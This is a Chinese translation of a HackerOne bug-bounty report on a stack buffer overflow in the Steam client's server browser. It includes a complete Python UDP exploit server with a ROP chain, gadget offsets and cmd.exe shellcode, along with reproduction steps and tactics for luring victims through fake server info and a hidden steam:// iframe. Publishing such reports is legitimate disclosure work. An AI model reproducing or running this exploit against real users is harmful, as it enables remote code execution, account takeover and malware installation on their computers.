通过Server Info中的缓冲区溢出在Steam客户端上运行RCE
原文链接:https://hackerone.com/reports/470520
文章中的所有代码以及视频都在附件中。
介绍
在Steam和其他valve游戏(CSGO,Half-Life,TF2)中,有一种可以找到游戏服务器的功能,被称为服务浏览器(server browser)。为了检索有关这些服务器的信息,
服务浏览器会与特定UDP协议进行通信,这被称为服务查询。该协议在Steam的在线开发人员手册中有详细描述。我们实现了一个自定义python服务器,
它只使用文档中提供的相同信息回复协议。在成功实施协议之后,我们fuzz了几个参数,并注意到Steam客户端在从我们的自定义服务器
接收回复时崩溃了。更具体地说,当我们在A2S_PLAYER
响应中包含使用一个超长的玩家名字时,客户端崩溃了。经过调试,我们注意到客户端是由于基于堆栈的缓冲区溢出而崩溃的。
这些问题已经清晰的说明有漏洞的存在,我们进一步调查了它,以便能够利用缓冲区溢出。经过进一步检查,我们注意到serverbrowser库中发生了溢出。
在某些时候,玩家的名字被转换为unicode编码,此时没有检查边界而发生溢出。而且,由于没有任何canary保护,我们得以覆盖返回地址并在Windows上实现任意代码执行。
利用细节
首先,我们在Linux上测试它,我们能够通过覆盖返回地址立即控制执行流程。但是,在Linux上,
我们只能控制EIP
寄存器的两个字节(例如0x00004141),我们并没有
进一步探索它。
程被终止,显示SIGABRT
,这意味着OSX上的库中可能存在一个canary保护。最后,我们尝试在Windows上利用它,并成功了(Windows 8.1和10上进行测试)
在Windows上,通过UDP发送玩家名称A*1100
时会导致以下堆栈布局:
0x00410041
0x00410041
...
这是由于unicode
转换(全角字符)而发生的,因为玩家名称可以使用unicode编码。使用unicode字符发送玩家名称u"\u4141"*1100
会导致以下内容的出现:
0x41414141
0x41414141
...
但是,由于我们在函数返回之前破坏了堆栈和寄存器,因此我们无法控制EIP寄存器。取消引用edi寄存器后程序崩溃,但我们想办法控制了它。我们使用Steam.exe
二进制文件中的常量值满足这些特殊条件:
然后,我们构建了一个Steam.exe自带有小工具的unicode编码的ROP链,VirtualProtect
动态调用以使堆栈可执行并跳转到我们的unicode 编码的shellcode来执行cmd.exe。这是一个很大的挑战,因为我们不能在ROP链中使用0x00000040
这样的值。我们不能使用无效的unicode字符,像u"\uda01"
因为库用问号替换它们?- 0x003F
。
注意:所有内容都是使用Steam.exe基址计算的。如果重新启动Windows 8或Windows 10,则此地址会更改,而不是重新启动Steam。如果您在漏洞利用中编辑基址,则该漏洞100%可以攻击成功,但由于ASLR,您无法预测受害者计算机中的基址。但是,我们有两种方案:
- 只有9位被随机化:攻击者可以成功利用概率为0.2%(1/512)的受害者,如果我们正在谈论攻击者大量向所有Steam用户分发此漏洞(每个新受害者1人),这就足够了平均512次的尝试)
- 此漏洞可能与另一个内存泄漏漏洞链接,使其100%利用成功。
复现
首先,确保已安装Steam。如果您使用的是测试版,请在漏洞利用代码中取消注释测试版小工具。
1 - 下载附件:steam_serverinfo_exploit.py(F395515)
2 - 使用像Immunity Debugger这样的调试器并附加到Steam.exe
3 - 获取Steam.exe(View> Executable modules)的基地址并编辑STEAM_BASE变量steam_serverinfo_exploit.py以使漏洞100%可靠
4 - 在您选择的服务器上运行漏洞利用(例如localhost):python steam_serverinfo_exploit.py
5 - POC.html在iframe src
6中编辑并更改服务器的IP地址- 在浏览器中打开它并等待cmd.exe执行
7 - 您也可以打开服务器菜单中的浏览器(查看>服务器)并单击View server info以触发漏洞利用(如果您在同一网络中运行服务器,它将出现在LAN部分中)
PoC
Steamclient_POC_Windows10.mp4:包含通过与Steam服务器浏览器手动交互在Windows 10上触发的漏洞利用的视频
SteamURL_POC_Windows10.mp4:包含通过恶意网页在Windows 10上触发的漏洞利用视频,其中包含将自动触发漏洞利用的隐藏iframe。
在视频中,Steam在访问恶意页面时未运行,并且自动启动。这在Steam已经运行时也有效。
POC.html(F395519)
包含SteamURL视频中使用的html页面代码。
利用代码:
import logging
import socket
import textwrap
### Exploit for Server Info - Player Name buffer overflow (Steam.exe - Windows 8 and 10) #######
# More info: https://developer.valvesoftware.com/wiki/Server_queries
# Shellcode must contain valid unicode characters, pad with NOPs :)
STEAM_BASE = 0x01180000
# Shellcode: open cmd.exe
shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x90\x8b\x52\x78\x01\xda\x8b\x72\x20\x90\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x90\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x90\x01\xda\x31\xf6\x89\xd6\x31\xff\x89\xdf\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd2\x83\xc4\x0c\x31\xc9\x68\x65\x73\x73\x42\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x57\x31\xff\x89\xc7\xff\xd6\x83\xc4\x0c\x31\xc9\x51\x68\x64\x6c\x6c\x41\x88\x4c\x24\x03\x68\x6c\x33\x32\x2e\x68\x73\x68\x65\x6c\x54\x31\xd2\x89\xfa\x89\xc7\xff\xd2\x83\xc4\x0b\x31\xc9\x68\x41\x42\x42\x42\x88\x4c\x24\x01\x68\x63\x75\x74\x65\x68\x6c\x45\x78\x65\x68\x53\x68\x65\x6c\x54\x50\xff\xd6\x83\xc4\x0d\x31\xc9\x68\x65\x78\x65\x41\x88\x4c\x24\x03\x68\x63\x6d\x64\x2e\x54\x59\x31\xd2\x42\x52\x31\xd2\x52\x52\x51\x52\x52\xff\xd0\xff\xd7"
def udp_server(host="0.0.0.0", port=27015):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
print("[*] Starting TSQuery UDP server on host: %s and port: %s" % (host, port))
s.bind((host, port))
while True:
(data, addr) = s.recvfrom(128*1024)
requestType = checkRequestType(data)
if requestType == "INFO":
response = createINFOReply()
elif requestType == "PLAYER":
response = createPLAYERReply()
print("[+] Payload sent!")
else:
response = 'nope'
s.sendto(response,addr)
yield data
def checkRequestType(data):
# Header byte contains the type of request
header = data[4]
if header == "\x54":
print("[*] Received A2S_INFO request")
return "INFO"
elif header == "\x55":
print("[*] Received A2S_PLAYER request")
return "PLAYER"
else:
print "Unknown request"
return "UNKNOWN"
def createINFOReply():
# A2S_INFO response
# Retrieves information about the server including, but not limited to: its name, the map currently being played, and the number of players.
pre = "\xFF\xFF\xFF\xFF" # Pre (4 bytes)
header = "\x49" # Header (1 byte)
protocol = "\x02"# Protocol version (1 byte)
name = "@Kernelpanic and [@0xacb](/0xacb) Server" + "\x00" # Server name (string)
map_name = "de_dust2" + "\x00" # Map name (string)
folder = "csgo" + "\x00" # Name of the folder contianing the game files (string)
game = "Counter-Strike: Global Offensive" + "\x00" # Game name (string)
ID = "\xda\x02" # Game ID (short)
players = "\xFF" # Amount of players in the server (byte)
maxplayers = "\xFF" # Max player allowed (byte)
bots = "\x00" # Bots in game (byte)
server_type = "d" # Server type, d = dedicate (byte)
environment = "l" # Hosted on windows linux or mac, l is linux (byte)
visibility = "\x00" # Password needed? (byte)
VAC = "\x01" # VAC enabled? (byte)
version = "1.3.6.7.1\x00"
return pre + header + protocol + name + map_name + folder + game + ID + players + maxplayers + bots + server_type + environment + visibility + VAC + version
def to_unicode(addr):
a = addr & 0xffff;
b = addr >> 16;
return eval('u"\\u%s\\u%s"' % (hex(a)[2:].zfill(4), hex(b)[2:].zfill(4)))
def convert_addr(gadget):
return to_unicode(STEAM_BASE + gadget - 0x400000)
def convert_shellcode(code):
code = code + "\x90"*8 #pad with nops
output = ""
l = textwrap.wrap(code.encode("hex"), 2)
for i in range(0, len(l)-4, 4):
output += "\\u%s%s\\u%s%s" % (l[i+1], l[i], l[i+3], l[i+2])
return eval('u"%s"' % output)
def pwn():
print("[*] Building ROP chain")
# ROP gadgets for Steam.exe Nov 26 2018
pop_eax = convert_addr(0x503ca7)
pop_ecx = convert_addr(0x41bd9f)
pop_edx = convert_addr(0x413a53)
pop_ebx = convert_addr(0x40511c)
pop_ebp = convert_addr(0x40247c)
pop_esi = convert_addr(0x404de6)
pop_edi = convert_addr(0x423839)
jmp_esp = convert_addr(0x4413bd)
pushad = convert_addr(0x425e00)
ret_nop = convert_addr(0x401212)
mov_edx_eax = convert_addr(0x5599a6)
sub_eax_41e82c6a = convert_addr(0x51584f)
mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret = convert_addr(0x4e24eb)
mov_esi_ptr_esi_mov_eax_esi_pop_esi = convert_addr(0x4506ea)
xchg_eax_esi = convert_addr(0x543b86)
writable_addr = convert_addr(0x69a01c)
virtual_protect_idata = convert_addr(0x5f9280)
new_protect = to_unicode(0x41e82c6a+0x40)
msize = to_unicode(0x41e82c6a+0x501)
'''
# ROP gadgets for Steam.exe Beta Dec 14 2018
pop_eax = convert_addr(0x425993)
pop_ecx = convert_addr(0x41bd9f)
pop_edx = convert_addr(0x413a53)
pop_ebx = convert_addr(0x40511c)
pop_ebp = convert_addr(0x40247c)
pop_esi = convert_addr(0x404de6)
pop_edi = convert_addr(0x423839)
jmp_esp = convert_addr(0x4413bd)
pushad = convert_addr(0x425e00)
ret_nop = convert_addr(0x401212)
mov_edx_eax = convert_addr(0x559d46)
sub_eax_31e82c6a = convert_addr(0x515bbf)
mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret = convert_addr(0x4e284b)
mov_esi_ptr_esi_mov_eax_esi_pop_esi = convert_addr(0x4506ea)
xchg_eax_esi = convert_addr(0x515b5e)
writable_addr = convert_addr(0x69a01c)
virtual_protect_idata = convert_addr(0x5fa280)
new_protect = to_unicode(0x31e82c6a+0x40)
msize = to_unicode(0x31e82c6a+0x501)
'''
rop = pop_eax + msize + sub_eax_41e82c6a + mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret \
+ u"\ub33f\ubeef" + mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret + ret_nop*0x10 \
+ pop_ecx + writable_addr \
+ pop_eax + new_protect + sub_eax_41e82c6a + mov_edx_eax \
+ pop_ebp + jmp_esp + pop_esi + virtual_protect_idata \
+ mov_esi_ptr_esi_mov_eax_esi_pop_esi + u"\ub33f\ubeef" + xchg_eax_esi + pop_edi \
+ ret_nop + pop_eax + u"\u9090\u9090" + pushad
#special conditions to avoid crashes
special_condition_1 = to_unicode(STEAM_BASE + 0x10)
special_condition_2 = to_unicode(STEAM_BASE + 0x11)
payload = "A"*1024 + u"\ub33f\ubeef"*12 + special_condition_1 + special_condition_2*31 + rop + shellcode
return payload.encode("utf-8") + "\x00"
def createPLAYERReply():
# A2S_player response
# This query retrieves information about the players currently on the server.
pre = "\xFF\xFF\xFF\xFF"# Pre (4 bytes)
header = "\x44" # Header (1 byte)
players = "\x01"# Amount of players (1 byte)
indexPlayer1 = "\x01" # Index of player (1 byte)
namePlayer2 = pwn()
scorePlayer2 = ""
durationPlayer2 = ""
return pre + header + players + indexPlayer1 + namePlayer2 + scorePlayer2 + durationPlayer2
FORMAT_CONS = '%(asctime)s %(name)-12s %(levelname)8s\t%(message)s'
logging.basicConfig(level=logging.DEBUG, format=FORMAT_CONS)
if __name__ == "__main__":
shellcode = convert_shellcode(shellcode)
for data in udp_server():
pass
影响
攻击者可以在查看恶意服务器的服务器信息的任何Steam用户的计算机上执行任意代码。通常,攻击者会启动与C2基础架构的后门连接,
以获取对受害者计算机的访问权限。从那里攻击者可以做任何他/她想做的事情(例如,帐户接管,窃取Steam帐户中的所有项目,在操作系统中安装其他恶意软件,泄露文档等)
有几种方法可以诱骗用户运行漏洞利用程序:
- 用户在Steam客户端服务器浏览器中查看服务器信息
- 用户访问Steam浏览器协议的攻击者的恶意网页 请求已启动: steam://connect/1.2.3.4
此外,还有一些方法可以增加此次攻击的可能性:
- 它可以通过使用蒸汽浏览器协议的网站触发
许多用户不需要单击Open Steam浏览器上的按钮(始终在关联的应用程序中打开这些类型的链接✓)
- 不包含漏洞的第一个Info Reply可以有一些有趣的值来欺骗用户。
可以选择服务器名称,并可以欺骗用户使用服务器
- 通过设置当前玩家数量较高的人更有可能加入
- 地图名称还可以包含有趣的文本作为吸引人们的值
- 如果服务器中的玩家数量等于服务器中允许的最大玩家数量,那么服务器信息框会自动打开,并且在第一次自动刷新后成功执行漏洞利用
感谢
Vinnie Vanhoecke @vinnievan和AndréBaptista@ 0xacb
6个附件:
- F 395515 : steam_serverinfo_exploit.py
- F 395516 : special_condition.png
- F 395517 : Steamclient_POC_Windows10.mp4
- F 395518 : SteamURL_POC_Windows10.mp4
- F 395519 : POC.html
- F 395520 : steam_base_address.png